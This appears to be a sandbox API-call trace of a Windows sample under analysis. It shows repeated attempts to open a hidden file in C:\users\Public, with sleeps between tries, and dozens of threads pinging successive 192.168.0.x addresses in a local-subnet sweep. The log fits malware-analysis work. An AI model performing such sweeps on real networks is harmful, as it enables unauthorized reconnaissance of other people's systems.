	[0243.823] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.823] GetLastError () returned 0x20
	[0243.823] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.823] Sleep (dwMilliseconds=0x61a8) 
	[0256.991] GetWindowsDirectoryW (in: lpBuffer=0x232fa10, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0257.028] SetLastError (dwErrCode=0x0) 
	[0257.029] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.029] GetLastError () returned 0x20
	[0257.029] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.029] Sleep (dwMilliseconds=0x61a8) 
	[0268.048] GetWindowsDirectoryW (in: lpBuffer=0x232fa10, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0268.048] SetLastError (dwErrCode=0x0) 
	[0268.048] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.048] GetLastError () returned 0x20
	[0268.048] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.048] Sleep (dwMilliseconds=0x61a8) 
	[0278.318] GetWindowsDirectoryW (in: lpBuffer=0x232fa10, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0278.325] SetLastError (dwErrCode=0x0) 
	[0278.325] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.325] GetLastError () returned 0x20
	[0278.325] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.325] Sleep (dwMilliseconds=0x61a8) 

Thread:
	id = 1069
	os_tid = 0x16c4

	[0190.713] GetLastError () returned 0x57
	[0190.713] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x506e80
	[0190.714] SetLastError (dwErrCode=0x57) 
	[0190.714] IcmpCreateFile () returned 0x4ec7d0
	[0193.092] IcmpSendEcho (IcmpHandle=0x4ec7d0, DestinationAddress=0x100a8c0, RequestData=0x822fa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x822faa0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1070
	os_tid = 0x16c8

	[0190.724] GetLastError () returned 0x57
	[0190.724] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x50caf0
	[0190.724] SetLastError (dwErrCode=0x57) 
	[0190.724] IcmpCreateFile () returned 0x4ec960
	[0193.094] IcmpSendEcho (IcmpHandle=0x4ec960, DestinationAddress=0x200a8c0, RequestData=0x849fbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x849fc00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1071
	os_tid = 0x16cc

	[0190.725] GetLastError () returned 0x57
	[0190.725] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x50d2e0
	[0190.726] SetLastError (dwErrCode=0x57) 
	[0190.726] IcmpCreateFile () returned 0x4ec9b0
	[0193.098] IcmpSendEcho (IcmpHandle=0x4ec9b0, DestinationAddress=0x300a8c0, RequestData=0x86cfea0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x86cfec0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1072
	os_tid = 0x16d0

	[0190.726] GetLastError () returned 0x57
	[0190.726] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x50dad0
	[0190.727] SetLastError (dwErrCode=0x57) 
	[0190.727] IcmpCreateFile () returned 0x4eca00
	[0193.100] IcmpSendEcho (IcmpHandle=0x4eca00, DestinationAddress=0x400a8c0, RequestData=0x812fc60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x812fc80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1073
	os_tid = 0x16d4

	[0190.854] GetLastError () returned 0x57
	[0190.855] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x50f440
	[0190.855] SetLastError (dwErrCode=0x57) 
	[0190.855] IcmpCreateFile () returned 0x4eca50
	[0193.102] IcmpSendEcho (IcmpHandle=0x4eca50, DestinationAddress=0x500a8c0, RequestData=0x836fe60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x836fe80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1074
	os_tid = 0x16d8


Thread:
	id = 1075
	os_tid = 0x16dc

	[0190.856] GetLastError () returned 0x57
	[0190.856] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x51e420
	[0190.856] SetLastError (dwErrCode=0x57) 
	[0190.857] IcmpCreateFile () returned 0x4ecaa0
	[0193.103] IcmpSendEcho (IcmpHandle=0x4ecaa0, DestinationAddress=0x600a8c0, RequestData=0x898f860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x898f880, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1076
	os_tid = 0x16e0

	[0190.860] GetLastError () returned 0x57
	[0190.860] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x51ec10
	[0190.863] SetLastError (dwErrCode=0x57) 
	[0190.863] IcmpCreateFile () returned 0x4ecaf0
	[0193.107] IcmpSendEcho (IcmpHandle=0x4ecaf0, DestinationAddress=0x700a8c0, RequestData=0x882fb00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x882fb20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1078
	os_tid = 0x16e8

	[0190.945] GetLastError () returned 0x57
	[0190.945] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x51f400
	[0190.946] SetLastError (dwErrCode=0x57) 
	[0190.946] IcmpCreateFile () returned 0x4ecb40
	[0193.109] IcmpSendEcho (IcmpHandle=0x4ecb40, DestinationAddress=0x800a8c0, RequestData=0x8acf780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x8acf7a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1079
	os_tid = 0x16ec

	[0190.949] GetLastError () returned 0x57
	[0190.949] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x51fbf0
	[0190.949] SetLastError (dwErrCode=0x57) 
	[0190.949] IcmpCreateFile () returned 0x4ecb90
	[0193.110] IcmpSendEcho (IcmpHandle=0x4ecb90, DestinationAddress=0x900a8c0, RequestData=0x8d6fe80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x8d6fea0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1080
	os_tid = 0x16f0

	[0190.950] GetLastError () returned 0x57
	[0190.950] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5203f0
	[0190.951] SetLastError (dwErrCode=0x57) 
	[0190.951] IcmpCreateFile () returned 0x4ecbe0
	[0193.114] IcmpSendEcho (IcmpHandle=0x4ecbe0, DestinationAddress=0xa00a8c0, RequestData=0x8f5fde0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x8f5fe00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1081
	os_tid = 0x16f4

	[0190.951] GetLastError () returned 0x57
	[0190.952] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x520be0
	[0190.952] SetLastError (dwErrCode=0x57) 
	[0190.952] IcmpCreateFile () returned 0x4ecc30
	[0193.115] IcmpSendEcho (IcmpHandle=0x4ecc30, DestinationAddress=0xb00a8c0, RequestData=0x8bcfac0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x8bcfae0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1082
	os_tid = 0x16f8

	[0190.953] GetLastError () returned 0x57
	[0190.953] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5213d0
	[0190.953] SetLastError (dwErrCode=0x57) 
	[0190.954] IcmpCreateFile () returned 0x4ecc80
	[0193.116] IcmpSendEcho (IcmpHandle=0x4ecc80, DestinationAddress=0xc00a8c0, RequestData=0x91ffb00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x91ffb20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1083
	os_tid = 0x16fc

	[0190.954] GetLastError () returned 0x57
	[0190.955] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x521bc0
	[0190.955] SetLastError (dwErrCode=0x57) 
	[0190.955] IcmpCreateFile () returned 0x4eccd0
	[0193.117] IcmpSendEcho (IcmpHandle=0x4eccd0, DestinationAddress=0xd00a8c0, RequestData=0x905fea0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x905fec0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1084
	os_tid = 0x1700

	[0190.957] GetLastError () returned 0x57
	[0190.957] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x529f90
	[0190.958] SetLastError (dwErrCode=0x57) 
	[0190.959] IcmpCreateFile () returned 0x4ecd20
	[0193.119] IcmpSendEcho (IcmpHandle=0x4ecd20, DestinationAddress=0xe00a8c0, RequestData=0x94df840, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x94df860, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1085
	os_tid = 0x1704

	[0190.960] GetLastError () returned 0x57
	[0190.961] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x52a360
	[0190.961] SetLastError (dwErrCode=0x57) 
	[0190.961] IcmpCreateFile () returned 0x4ecd70
	[0193.120] IcmpSendEcho (IcmpHandle=0x4ecd70, DestinationAddress=0xf00a8c0, RequestData=0x968f8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x968f900, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1086
	os_tid = 0x1708

	[0190.962] GetLastError () returned 0x57
	[0190.962] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x52a730
	[0190.963] SetLastError (dwErrCode=0x57) 
	[0190.963] IcmpCreateFile () returned 0x4ecdc0
	[0193.122] IcmpSendEcho (IcmpHandle=0x4ecdc0, DestinationAddress=0x1000a8c0, RequestData=0x985fc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x985fc40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1087
	os_tid = 0x170c

	[0190.963] GetLastError () returned 0x57
	[0190.963] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x52ab30
	[0190.965] SetLastError (dwErrCode=0x57) 
	[0190.965] IcmpCreateFile () returned 0x4ece10
	[0193.123] IcmpSendEcho (IcmpHandle=0x4ece10, DestinationAddress=0x1100a8c0, RequestData=0x939fa40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x939fa60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1088
	os_tid = 0x1710

	[0190.966] GetLastError () returned 0x57
	[0190.966] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x52af00
	[0190.966] SetLastError (dwErrCode=0x57) 
	[0190.966] IcmpCreateFile () returned 0x4ece60
	[0193.124] IcmpSendEcho (IcmpHandle=0x4ece60, DestinationAddress=0x1200a8c0, RequestData=0x9a3fdc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9a3fde0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1089
	os_tid = 0x1714

	[0190.967] GetLastError () returned 0x57
	[0190.967] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x52b2d0
	[0190.968] SetLastError (dwErrCode=0x57) 
	[0190.968] IcmpCreateFile () returned 0x4eceb0
	[0193.125] IcmpSendEcho (IcmpHandle=0x4eceb0, DestinationAddress=0x1300a8c0, RequestData=0x9b9fa20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9b9fa40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1090
	os_tid = 0x1718

	[0190.968] GetLastError () returned 0x57
	[0190.968] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x52b6a0
	[0190.969] SetLastError (dwErrCode=0x57) 
	[0190.969] IcmpCreateFile () returned 0x4ecf00
	[0193.127] IcmpSendEcho (IcmpHandle=0x4ecf00, DestinationAddress=0x1400a8c0, RequestData=0x9e1f800, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9e1f820, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1091
	os_tid = 0x171c

	[0190.969] GetLastError () returned 0x57
	[0190.970] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x52ba70
	[0190.970] SetLastError (dwErrCode=0x57) 
	[0190.970] IcmpCreateFile () returned 0x4ecf50
	[0193.128] IcmpSendEcho (in: IcmpHandle=0x4ecf50, DestinationAddress=0x1500a8c0, RequestData=0x9cdfc00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9cdfc20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x9cdfc20) returned 0x1
	[0193.783] IcmpCloseHandle (IcmpHandle=0x4ecf50) returned 1
	[0193.784] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x52ba70 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1092
	os_tid = 0x1720

	[0191.101] GetLastError () returned 0x57
	[0191.101] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x52be40
	[0191.101] SetLastError (dwErrCode=0x57) 
	[0191.101] IcmpCreateFile () returned 0x4ecfa0
	[0193.131] IcmpSendEcho (IcmpHandle=0x4ecfa0, DestinationAddress=0x1600a8c0, RequestData=0xa0ff8a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa0ff8c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1093
	os_tid = 0x1724


Thread:
	id = 1094
	os_tid = 0x1734

	[0191.102] GetLastError () returned 0x57
	[0191.102] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x52c210
	[0191.102] SetLastError (dwErrCode=0x57) 
	[0191.102] IcmpCreateFile () returned 0x4ecff0
	[0193.132] IcmpSendEcho (IcmpHandle=0x4ecff0, DestinationAddress=0x1700a8c0, RequestData=0xa1ff9a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa1ff9c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1095
	os_tid = 0x1738

	[0191.103] GetLastError () returned 0x57
	[0191.103] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x52c5e0
	[0191.104] SetLastError (dwErrCode=0x57) 
	[0191.104] IcmpCreateFile () returned 0x4ed040
	[0193.134] IcmpSendEcho (IcmpHandle=0x4ed040, DestinationAddress=0x1800a8c0, RequestData=0xa33fda0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa33fdc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1096
	os_tid = 0x173c

	[0191.104] GetLastError () returned 0x57
	[0191.104] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x52c9b0
	[0191.105] SetLastError (dwErrCode=0x57) 
	[0191.105] IcmpCreateFile () returned 0x4ed090
	[0193.135] IcmpSendEcho (IcmpHandle=0x4ed090, DestinationAddress=0x1900a8c0, RequestData=0xa49f9c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa49f9e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1097
	os_tid = 0x1740

	[0191.105] GetLastError () returned 0x57
	[0191.105] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x52cd80
	[0191.106] SetLastError (dwErrCode=0x57) 
	[0191.106] IcmpCreateFile () returned 0x530b30
	[0193.136] IcmpSendEcho (IcmpHandle=0x530b30, DestinationAddress=0x1a00a8c0, RequestData=0xa67f760, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa67f780, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1098
	os_tid = 0x1744

	[0191.108] GetLastError () returned 0x57
	[0191.108] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x52d150
	[0191.108] SetLastError (dwErrCode=0x57) 
	[0191.108] IcmpCreateFile () returned 0x530b80
	[0193.138] IcmpSendEcho (IcmpHandle=0x530b80, DestinationAddress=0x1b00a8c0, RequestData=0xa7bfac0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa7bfae0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1099
	os_tid = 0x1748

	[0191.109] GetLastError () returned 0x57
	[0191.109] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x52d520
	[0191.109] SetLastError (dwErrCode=0x57) 
	[0191.109] IcmpCreateFile () returned 0x530bd0
	[0193.139] IcmpSendEcho (IcmpHandle=0x530bd0, DestinationAddress=0x1c00a8c0, RequestData=0xa8ffec0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa8ffee0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1100
	os_tid = 0x174c

	[0191.110] GetLastError () returned 0x57
	[0191.110] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x52d8f0
	[0191.110] SetLastError (dwErrCode=0x57) 
	[0191.110] IcmpCreateFile () returned 0x530c20
	[0193.141] IcmpSendEcho (IcmpHandle=0x530c20, DestinationAddress=0x1d00a8c0, RequestData=0xaaffb60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xaaffb80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1101
	os_tid = 0x1750

	[0191.111] GetLastError () returned 0x57
	[0191.111] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x52dcc0
	[0191.111] SetLastError (dwErrCode=0x57) 
	[0191.111] IcmpCreateFile () returned 0x530c70
	[0193.142] IcmpSendEcho (IcmpHandle=0x530c70, DestinationAddress=0x1e00a8c0, RequestData=0xaccfd60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xaccfd80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1102
	os_tid = 0x1754

	[0191.113] GetLastError () returned 0x57
	[0191.113] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x52e090
	[0191.113] SetLastError (dwErrCode=0x57) 
	[0191.113] IcmpCreateFile () returned 0x530cc0
	[0193.144] IcmpSendEcho (IcmpHandle=0x530cc0, DestinationAddress=0x1f00a8c0, RequestData=0xa9ffce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa9ffd00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1103
	os_tid = 0x1758

	[0191.114] GetLastError () returned 0x57
	[0191.114] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x52e460
	[0191.114] SetLastError (dwErrCode=0x57) 
	[0191.114] IcmpCreateFile () returned 0x530d10
	[0193.146] IcmpSendEcho (IcmpHandle=0x530d10, DestinationAddress=0x2000a8c0, RequestData=0xaeef940, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xaeef960, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1104
	os_tid = 0x175c

	[0191.115] GetLastError () returned 0x57
	[0191.115] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x531b30
	[0191.117] SetLastError (dwErrCode=0x57) 
	[0191.117] IcmpCreateFile () returned 0x530d60
	[0193.147] IcmpSendEcho (IcmpHandle=0x530d60, DestinationAddress=0x2100a8c0, RequestData=0xb11fa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb11faa0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1105
	os_tid = 0x1760

	[0191.118] GetLastError () returned 0x57
	[0191.118] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x531f00
	[0191.118] SetLastError (dwErrCode=0x57) 
	[0191.118] IcmpCreateFile () returned 0x530db0
	[0193.150] IcmpSendEcho (IcmpHandle=0x530db0, DestinationAddress=0x2200a8c0, RequestData=0xb01fe60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb01fe80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1106
	os_tid = 0x1764

	[0191.120] GetLastError () returned 0x57
	[0191.120] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5322d0
	[0191.120] SetLastError (dwErrCode=0x57) 
	[0191.120] IcmpCreateFile () returned 0x530e00
	[0193.151] IcmpSendEcho (IcmpHandle=0x530e00, DestinationAddress=0x2300a8c0, RequestData=0xb36f740, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb36f760, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1107
	os_tid = 0x1768

	[0191.121] GetLastError () returned 0x57
	[0191.121] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5326a0
	[0191.121] SetLastError (dwErrCode=0x57) 
	[0191.121] IcmpCreateFile () returned 0x530e50
	[0193.153] IcmpSendEcho (IcmpHandle=0x530e50, DestinationAddress=0x2400a8c0, RequestData=0xb53fae0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb53fb00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1108
	os_tid = 0x176c

	[0191.122] GetLastError () returned 0x57
	[0191.122] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x532a70
	[0191.122] SetLastError (dwErrCode=0x57) 
	[0191.123] IcmpCreateFile () returned 0x530ea0
	[0193.154] IcmpSendEcho (IcmpHandle=0x530ea0, DestinationAddress=0x2500a8c0, RequestData=0xb64fac0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb64fae0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1109
	os_tid = 0x1770

	[0191.319] GetLastError () returned 0x57
	[0191.319] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x532e40
	[0191.320] SetLastError (dwErrCode=0x57) 
	[0191.320] IcmpCreateFile () returned 0x530ef0
	[0193.156] IcmpSendEcho (IcmpHandle=0x530ef0, DestinationAddress=0x2600a8c0, RequestData=0xb83f8c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb83f8e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1118
	os_tid = 0x1794

	[0191.320] GetLastError () returned 0x57
	[0191.320] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x533210
	[0191.321] SetLastError (dwErrCode=0x57) 
	[0191.321] IcmpCreateFile () returned 0x530f40
	[0193.157] IcmpSendEcho (IcmpHandle=0x530f40, DestinationAddress=0x2700a8c0, RequestData=0xba2fe00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xba2fe20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1119
	os_tid = 0x1798

	[0191.321] GetLastError () returned 0x57
	[0191.321] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5335e0
	[0191.322] SetLastError (dwErrCode=0x57) 
	[0191.322] IcmpCreateFile () returned 0x530f90
	[0193.159] IcmpSendEcho (IcmpHandle=0x530f90, DestinationAddress=0x2800a8c0, RequestData=0xbb5f820, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xbb5f840, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1120
	os_tid = 0x179c

	[0191.323] GetLastError () returned 0x57
	[0191.323] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5339b0
	[0191.323] SetLastError (dwErrCode=0x57) 
	[0191.323] IcmpCreateFile () returned 0x530fe0
	[0193.161] IcmpSendEcho (IcmpHandle=0x530fe0, DestinationAddress=0x2900a8c0, RequestData=0xb26fe20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb26fe40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1121
	os_tid = 0x17a0

	[0191.325] GetLastError () returned 0x57
	[0191.325] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x533d80
	[0191.325] SetLastError (dwErrCode=0x57) 
	[0191.325] IcmpCreateFile () returned 0x531030
	[0193.162] IcmpSendEcho (IcmpHandle=0x531030, DestinationAddress=0x2a00a8c0, RequestData=0xbcafe00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xbcafe20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1122
	os_tid = 0x17a4

	[0191.326] GetLastError () returned 0x57
	[0191.326] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x534150
	[0191.327] SetLastError (dwErrCode=0x57) 
	[0191.327] IcmpCreateFile () returned 0x531080
	[0193.164] IcmpSendEcho (IcmpHandle=0x531080, DestinationAddress=0x2b00a8c0, RequestData=0xbedf8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xbedf900, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1123
	os_tid = 0x17a8

	[0191.327] GetLastError () returned 0x57
	[0191.327] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x534520
	[0191.328] SetLastError (dwErrCode=0x57) 
	[0191.328] IcmpCreateFile () returned 0x5310d0
	[0193.165] IcmpSendEcho (IcmpHandle=0x5310d0, DestinationAddress=0x2c00a8c0, RequestData=0xc04fc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc04fc40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1124
	os_tid = 0x17ac

	[0191.329] GetLastError () returned 0x57
	[0191.329] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5348f0
	[0191.329] SetLastError (dwErrCode=0x57) 
	[0191.329] IcmpCreateFile () returned 0x531120
	[0193.167] IcmpSendEcho (in: IcmpHandle=0x531120, DestinationAddress=0x2d00a8c0, RequestData=0xc29f840, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc29f860, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xc29f860) returned 0x0
	[0284.706] IcmpCloseHandle (IcmpHandle=0x531120) returned 1
	[0284.706] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5348f0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1125
	os_tid = 0x17b0

	[0191.330] GetLastError () returned 0x57
	[0191.330] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x534cc0
	[0191.330] SetLastError (dwErrCode=0x57) 
	[0191.331] IcmpCreateFile () returned 0x531170
	[0193.169] IcmpSendEcho (in: IcmpHandle=0x531170, DestinationAddress=0x2e00a8c0, RequestData=0xc40fae0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc40fb00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xc40fb00) returned 0x0
	[0284.398] IcmpCloseHandle (IcmpHandle=0x531170) returned 1
	[0284.398] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x534cc0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1126
	os_tid = 0x17b4

	[0191.332] GetLastError () returned 0x57
	[0191.332] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x535090
	[0191.332] SetLastError (dwErrCode=0x57) 
	[0191.332] IcmpCreateFile () returned 0x5311c0
	[0193.172] IcmpSendEcho (in: IcmpHandle=0x5311c0, DestinationAddress=0x2f00a8c0, RequestData=0xc5ffb00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc5ffb20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xc5ffb20) returned 0x0
	[0284.020] IcmpCloseHandle (IcmpHandle=0x5311c0) returned 1
	[0284.020] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x535090 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1127
	os_tid = 0x17b8

	[0191.333] GetLastError () returned 0x57
